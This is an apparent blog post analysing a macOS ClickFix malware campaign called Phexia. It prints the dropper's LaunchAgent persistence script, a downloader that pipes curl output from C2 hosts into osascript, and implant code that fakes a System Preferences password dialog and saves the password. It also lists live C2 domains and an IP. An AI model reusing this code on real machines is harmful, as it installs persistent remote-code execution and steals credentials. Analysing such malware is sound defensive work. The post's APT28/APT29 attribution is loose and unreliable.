Malware Insights : MacOS Phexia Campaign #
I got nerdsniped today. Some compromised website wanted me to execute a command
in the
Terminal.app
because I've set my User-Agent to a randomized profile and it was a MacOS Browser.
Overview
- CNC domains :
x2db.cx
,a5db.ch
,a6b6.biz
,kfcnevkusno.one
-
CNC bots :
t.me/neverfakebot -
CNC networks : Cloudflare
-
Target OS : MacOS
-
Target Apps : (All) crypto wallets, (All) Browsers, Password extensions, Keychains, Browser Cookies, Browser History, Telegram Auth Data
-
Botnet Operator : (Unconfirmed by third-parties) APT28
Stage 1 : Clickfix Attack
A compromised website asks you to execute a Clickfix payload via
Cmd + C
and
Cmd + V
right into the
Terminal.app
, having copied the down's script command already into your clipboard.
The initial payload for the down was obfuscated with
base64
encoding and
does a
curl request
to download and execute an
osascript
file which caught my curiosity.
osascript -e "$(echo "... base64encoded ..." | base64 -d)"
Dropper Source Code
do shell script "
SCRIPT_PATH=\"$HOME/Library/pwvrskwjcwvtcrjr\";
mkdir -p \"$HOME/Library/LaunchAgents\";
cat > \"$HOME/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist\" <<END_PLIST
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>com.launch.pwvrskwjcwvtcrjr</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/osascript</string>
<string>$SCRIPT_PATH</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
END_PLIST
"
do shell script "echo \"...base64encoded_implant_down...\" | base64 -d > ~/Library/pwvrskwjcwvtcrjr"
do shell script "launchctl unload ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist 2>/dev/null"
do shell script "launchctl load ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist"
Dropper Summary
- Installs a
RunAtLoad
configuration to~Library/LaunchAgents/com.components.<campaign-identifier>.plist
-
Installs a LaunchAgent via
launchctl load <campaign-identifier> -
Downloads and executes second stage payload to
~/Library/<campaign-identifier>
Stage 2 : Control Server Connection and Implant Down Loop
The
CNC
connection loop is implemented with another
osascript
which also requests new domains via a Telegram Bot that is owned by the Botnet operator.
Down
property domainsList : {"example.com", "another-example.com", "etc-pp.com" }
property activeDomain: ""
property btxid: "campaign-identifier"
on setDomain()
repeat with d in domainsList
set domain to (contents of d)
set urlresult to "http://" & domain & "/api.php?check"
set actualurl to "http://" & domain & "/"
try
set response to do shell script "/usr/bin/curl -s --connect-timeout 5 --max-time 10 " & quoted form of urlresult
if response is "success" then
set activeDomain to actualurl
return true
end if
end try
end repeat
try
set domain to do shell script "curl -s --connect-timeout 5 --max-time 10 https://t.me/botnet-bot-with-statusmessage | sed -n 's/.*<span dir=\"auto\">\\([^<]*\\)<\\/span>.*/\\1/p'"
set urlresult to "http://" & domain & "/api.php?check"
set actualurl to "http://" & domain & "/"
set response to do shell script "curl -s --connect-timeout 5 --max-time 10 " & quoted form of urlresult
if response is "success" then
set activeDomain to actualurl
return true
end if
end try
return false
end setDomain
if setDomain() then
set startsrc to "curl -s " & quoted form of (activeDomain & "get.php?txid=" & btxid) & " | osascript"
do shell script startsrc
end if
Down Summary
- Checks the Botnet Operator owned Telegram Bot for changed CNC server domains
- Requests
/api.php?check
and/get.php?txid=...
to download malware implant - Downloads and executes third stage malware implant
Stage 3 : Malware Implant
The Malware Implant is a little more sophisticated than initially expected.
UUID Fingerprinting
on getUUID()
set methods to {"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\"IOPlatformUUID\"[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"}
repeat with cmd in methods
try
set uuid to do shell script cmd
if length of uuid is 36 then
if uuid contains "-" then
return uuid
end if
end if
end try
end repeat
end getUUID
OS Credentials
on getUsername()
set methods to {"whoami", "id -un", "echo $USER", "logname"}
repeat with cmd in methods
try
set username to do shell script cmd
if username is not "" then return username
end try
end repeat
return "administrator"
end getUsername
on checkPassword(username, enteredpwd)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of enteredpwd
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkPassword
on getPassword(username)
set passPhraseFilePath to POSIX path of (path to home folder) & ".passphrase"
if checkPassword(username, "") then
do shell script "echo nopassphrase > " & quoted form of passPhraseFilePath
return true
else
repeat
try
set result to display dialog "Enter password:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set enteredpwd to text returned of result
if checkPassword(username, enteredpwd) then
do shell script "echo " & quoted form of enteredpwd & " > " & quoted form of passPhraseFilePath
return true
end if
end try
end repeat
end if
end getPassword
CNC Domain Update Mechanism
The CNC domain update mechanism is essentially the same as the Down Stage is using, therefore nothing different here.
CNC Auth and Connect Loop
The CNC auth and connect loop uses
tccutil reset All
to reset the permissions
for the current user in case it was blocked. All permission dialogs for all Apps
will popup again to hide the malicious
System Preferences
titled dialog and the administrator password request, which is quite interesting as a technique to confuse the targeted victim user.
It does a request to
api.php?connect&username=...
to find out the registration status.
- If response is
newconnect
it resets all permissions for the current user. - If response is
connected
it proceeds to download another implant based on task API.
CNC Task Implant Loop
Every
60 seconds
the Malware Implant tries to download a new task from the CNC
server. The download itself is done via
curl
or via injected
sh
script and
obfuscated again using
base64
encoding. The final downloaded task payload is
an
osascript
file containing the Phexia Stealer or other payloads.
Malware Implant Summary
- CNC domain update mechanism
UUID
fingerprinting viaioreg -rd1 -c IOPlatformExpertDevice
Username
gathering viawhoami
,id -un
, orlogname
Password
gathering withSystem Preferences
title in dialog, keeping dialog alive for150
retries, essentially making it uncloseable.- Downloads and executes fourth stage task implant every
60 seconds
Stage 4 : Phexia Stealer
The final task implant is a Phexia Stealer. The code is written again in
osascript
and targets a lot of different MacOS Browsers, Browser Extensions, Wallets, Password Managers, Keychains etc.
As this too much for this article on its own, you can read about more details on the Phexia Stealer malware in a separate article :
Botnet Command and Control Server
The Phexia Campaign's botnet is hosted always on
vdsina.com
VPS servers.
Initially the Botnet Operator was using Russian ASNs from
Azalea Networks
,
before they migrated towards
Cloudflare
for all their domains to mask their identity.
The CNC server itself is using
Apache 2.4.58
on a standard
Ubuntu
:
> curl -v http://146.103.98.59/
* Trying 146.103.98.59:80...
* Established connection to 146.103.98.59 (146.103.98.59 port 80) from 192.168.2.32 port 45944
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 146.103.98.59
> User-Agent: curl/8.18.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sun, 15 Mar 2026 01:14:29 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Last-Modified: Tue, 03 Mar 2026 11:38:38 GMT
< ETag: "0-64c1d24f40b80"
< Accept-Ranges: bytes
< Content-Length: 0
< Content-Type: text/html
<
* Connection #0 to host 146.103.98.59:80 left intact
Though the server has a lot of open ports. Probably using
portspoof
or a similar tool to create those, because none of the ports are reacting even when I rotate my victim machines.
> nmap -P0 146.103.98.59
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 02:14 +0100
Nmap scan report for v678355.hosted-by-vdsina.com (146.103.98.59)
Host is up (0.013s latency).
Not shown: 985 closed tcp ports (conn-refused)
PORT STATE SERVICE
20/tcp filtered ftp-data
21/tcp filtered ftp
22/tcp open ssh
23/tcp filtered telnet
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
161/tcp filtered snmp
427/tcp filtered svrloc
445/tcp filtered microsoft-ds
6666/tcp filtered irc
6667/tcp filtered irc
6668/tcp filtered irc
6669/tcp filtered irc
Links to Amatera Botnet and APT28
The Abuse Database shows a lot of Amatera activity coming from the same networks :
A lot of hosts in the former
vdsina.ru
(RU) and now rebranded
vdsina.com
(UAE) networks are using Amatera stealer signatures.
It's likely that this is a Russian operation which is part of APT28. Amatera campaigns in the past were focused a lot on Ukrainian networks and websites, but it's unclear at this point whether Phexia stealer campaigns are a part of the same Botnet or whether it's part of the now (post-botnet-takedown in February 2023) restructured APT29 initiative.
As their CNC is using PHP it's just a matter of time until I find an exploit : )